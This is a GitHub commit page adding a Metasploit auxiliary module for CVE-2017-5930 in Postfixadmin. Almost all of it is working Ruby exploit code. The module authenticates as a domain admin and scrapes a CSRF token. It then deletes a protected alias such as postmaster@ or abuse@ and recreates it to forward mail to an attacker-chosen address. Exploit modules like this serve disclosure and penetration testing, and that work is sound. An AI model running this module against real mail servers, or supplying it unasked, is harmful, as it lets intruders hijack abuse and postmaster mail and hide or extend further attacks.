Skip to content

Commit 289e887

Browse files
committed
Adding Module for Postfixadmin CVE-2017-5930
This exploit allows domain admins to delete protected aliases. It can be used to redirect aliases like abuse@domain and can aid in further attacks.
1 parent 8de760f commit 289e887

File tree

1 file changed

+181
-0
lines changed

1 file changed

+181
-0
lines changed
Lines changed: 181 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,181 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
def initialize(info = {})
10+
super(update_info(
11+
info,
12+
'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',
13+
'Description' => %q{
14+
Postfixadmin installations between 2.91 and 3.0.1 do not check if an
15+
admin is allowed to delete protected aliases. This vulnerability can be
16+
used to redirect protected aliases to an other mail address. Eg. rewrite
17+
the postmaster@domain alias
18+
},
19+
'Author' => [ 'Jan-Frederik Rieckers' ],
20+
'License' => MSF_LICENSE,
21+
'References' =>
22+
[
23+
['CVE', '2017-5930'],
24+
['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],
25+
['BID', '96142'],
26+
],
27+
'Privileged' => true,
28+
'Platform' => ['php'],
29+
'Arch' => ARCH_PHP,
30+
'Targets' => [[ 'Postfixadmin v2.91 - v3.0.1', {}]],
31+
'DisclosureDate' => 'Feb 03 2017',
32+
))
33+
34+
register_options(
35+
[
36+
OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),
37+
OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),
38+
OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),
39+
OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),
40+
OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])
41+
])
42+
end
43+
44+
def username
45+
datastore['USERNAME']
46+
end
47+
48+
def password
49+
datastore['PASSWORD']
50+
end
51+
52+
def target_alias
53+
datastore['TARGET_ALIAS']
54+
end
55+
56+
def new_goto
57+
datastore['NEW_GOTO']
58+
end
59+
60+
def check
61+
res = send_request_cgi({'uri' => postfixadmin_url_login, 'method' => 'GET'})
62+
63+
return Exploit::CheckCode::Unknown unless res
64+
65+
return Exploit::CheckCode::Safe if res.code != 200
66+
67+
if res.body =~ /<div id="footer".*Postfix Admin/m
68+
version = res.body.match(/<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)<\//mi)
69+
return Exploit::CheckCode::Detected unless version
70+
if Gem::Version.new("2.91") > Gem::Version.new(version[1])
71+
return Exploit::CheckCode::Detected
72+
elsif Gem::Version.new("3.0.1") < Gem::Version.new(version[1])
73+
return Exploit::CheckCode::Detected
74+
end
75+
return Exploit::CheckCode::Appears
76+
end
77+
78+
return Exploit::CheckCode::Unknown
79+
end
80+
81+
82+
def run
83+
print_status("Authenticating with Postfixadmin using #{username}:#{password} ...")
84+
cookie = postfixadmin_login(username, password)
85+
fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil?
86+
print_good('Authenticated with Postfixadmin')
87+
88+
vprint_status('Requesting virtual_list')
89+
res = send_request_cgi({'uri' => postfixadmin_url_list(target_alias.split("@")[-1]), 'method' => 'GET', 'cookie' => cookie }, 10)
90+
fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect?
91+
body = res.body
92+
vprint_status('Get token')
93+
token = body.match(/token=([0-9a-f]{32})/)
94+
fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token
95+
96+
t = token[1]
97+
98+
print_status('Delete the old alias')
99+
res = send_request_cgi({'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10)
100+
101+
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
102+
103+
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
104+
105+
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
106+
if res.nil? || res.body.nil?
107+
fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias')
108+
else
109+
if res.body =~ /<ul class="flash-error">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
110+
fail_with(Failure::NotVulnerable, 'It seems the target is not vulerable, the deletion of the target alias failed.')
111+
else
112+
fail_with(Failure::Unknown, 'An unexpected failure occured.')
113+
end
114+
end
115+
end
116+
print_good('Deleted the old alias')
117+
118+
vprint_status('Will create the new alias')
119+
post_vars = {'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split("@")[-1], 'value[localpart]' => target_alias.split("@")[0..-2].join("@"), 'value[goto]' => new_goto}
120+
121+
res = send_request_cgi({'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10)
122+
123+
fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect?
124+
125+
res = send_request_cgi({'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10)
126+
127+
if res.nil? || res.body.nil? || res.body !~ /<ul class="flash-info">.*<li.*#{target_alias}.*<\/li>.*<\/ul>/mi
128+
if res.nil? || res.body.nil?
129+
fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias')
130+
else
131+
if res.body =~ /<ul class="flash-error">/mi
132+
fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.')
133+
else
134+
fail_with(Failure::Unknown, 'An unexpected failure occured.')
135+
end
136+
end
137+
end
138+
print_good('New alias created')
139+
140+
end
141+
142+
143+
# Performs a Postfixadmin login
144+
#
145+
# @param user [String] Username
146+
# @param pass [String] Password
147+
# @param timeout [Integer] Max seconds to wait before timeout
148+
#
149+
# @return [String, nil] The session cocie as single string if login was successful, nil otherwise
150+
def postfixadmin_login(user, pass, timeout = 20)
151+
res = send_request_cgi({
152+
'method' => 'POST',
153+
'uri' => postfixadmin_url_login,
154+
'vars_post' => {'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login'}
155+
}, timeout)
156+
if res && res.redirect?
157+
cookies = res.get_cookies
158+
return cookies if
159+
cookies =~ /PHPSESSID=/
160+
end
161+
162+
nil
163+
end
164+
165+
def postfixadmin_url_login
166+
normalize_uri(target_uri.path, 'login.php')
167+
end
168+
169+
def postfixadmin_url_list(domain=nil)
170+
modifier = domain.nil? ? "" : "?domain=#{domain}"
171+
normalize_uri(target_uri.path, 'list-virtual.php' + modifier)
172+
end
173+
174+
def postfixadmin_url_alias_delete(target, token)
175+
normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}")
176+
end
177+
178+
def postfixadmin_url_edit
179+
normalize_uri(target_uri.path, 'edit.php')
180+
end
181+
end

0 commit comments

Comments
 (0)